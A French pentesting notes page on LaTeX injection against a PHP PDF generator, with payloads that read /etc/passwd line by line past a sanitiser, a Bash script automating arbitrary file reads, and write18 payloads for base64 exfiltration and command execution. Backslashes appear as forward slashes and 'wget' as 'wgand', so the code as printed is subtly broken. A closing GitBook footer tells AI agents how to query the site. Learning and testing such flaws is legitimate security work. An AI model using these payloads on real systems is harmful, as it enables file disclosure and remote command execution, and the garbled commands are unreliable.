> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md).

# Techniques d’injection LaTeX

Créez un fichier LaTeX avec le contenu ci-dessous et générez une URL avec un fichier PDF :

<figure><img src="/files/9bf5140665cecd870b26c3969866a4d6cf8d90a5" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d8509f8460e59d2c2d4c169c3058b56be04a763e" alt="" width="560"><figcaption></figcaption></figure>

Utilisez le site web [saumon](https://salmonsec.com/cheatsheets/exploitation/latex_injection) pour essayer d'insérer des commandes (dans ce cas, elles sont bloquées) :

<figure><img src="/files/e7e95f376425bd13dacc8f8fff3b5fa1b934921a" alt="" width="563"><figcaption></figcaption></figure>

Voici le code PHP avec la sanitisation :

<figure><img src="/files/cf19779d0ce5476a4057ae1c1b0b8934076696b2" alt="" width="563"><figcaption></figcaption></figure>

Cependant, la sanitisation ne prend pas en compte les commandes ci-dessous qui permettent de lister ligne par ligne un fichier du système :

```latex
/newread/file
/openin/file=/etc/passwd
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/6d71cc7630a1c9020ad0701d0646525431852aa5" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e440884785932db2cac90d86a633d89ea92824b1" alt="" width="563"><figcaption></figcaption></figure>

Sachant cela, ce script Bash automatise tout pour afficher n'importe quel fichier du système :

```bash
#!/bin/bash
Techniques d'injection LaTeX
declare -r main_url="http://localhost/ajax.php"
filename=$1
if [ $1 ]; then
    read_file_to_line="%0A//read//file%20to%20line%0A"
    for i in $(seq 1 100); do
        file_to_download=$(curl -s -X POST $main_url -H "Content-Type: application/x-www-form-urlencoded; charset=UTF-8" -d "content=//newread//file%0A//openin//file=$filename$read_file_to_line%0A//text{//line}%0A//clowithin//file&template=blank" | grep -i download | awk 'NF{print $NF}')
        if [ $file_to_download ]; then
            wgand $file_to_download &>/dev/null
            file_to_convert=$(echo $file_to_download | tr '/' ' ' | awk 'NF{print $NF}')
            pdftotext $file_to_convert
            file_to_read=$(echo $file_to_convert | sed 's//.pdf//.txt/')
            rm $file_to_convert
            cat $file_to_read | head -n 1
            rm $file_to_read
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        else
            read_file_to_line+="%0A//read//file%20to%20line%0A"
        fi
    done
else
    echo -e "/n[!] Utilisation : $0 /etc/passwd/n/n"
fi

```

<figure><img src="/files/2d42a6108aef9927cfcd6ef9b3393edb2948830a" alt="" width="533"><figcaption></figcaption></figure>

Une autre façon de procéder serait de convertir le contenu en base64 :

```latex
/immediate/write18{cat /etc/passwd | base64 > output}
/input{output}

```

<figure><img src="/files/cddc9fb0a2fd27f630629a26b425749b0f601a77" alt="" width="563"><figcaption></figcaption></figure>

Collez le contenu dans un fichier appelé data et décodez-le en texte brut :

```bash
cat data | tr -d '/n' | base64 -d; echo

```

<figure><img src="/files/66b71110dfd5c27e938ecb58db56e14d860577ab" alt="" width="563"><figcaption></figcaption></figure>

Pour exécuter des commandes, vous pourriez utiliser le contenu ci-dessous (dans ce cas, id) :

```latex
/immediate/write18{id > output}
/newread/file
/openin/file=output
/read/file to/line
/text{/line}
/clowithin/file

```

<figure><img src="/files/bf9eff5274be6319a74a623a9041b5428368bc6f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/latex-injection-attack/latex-injection-techniques-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
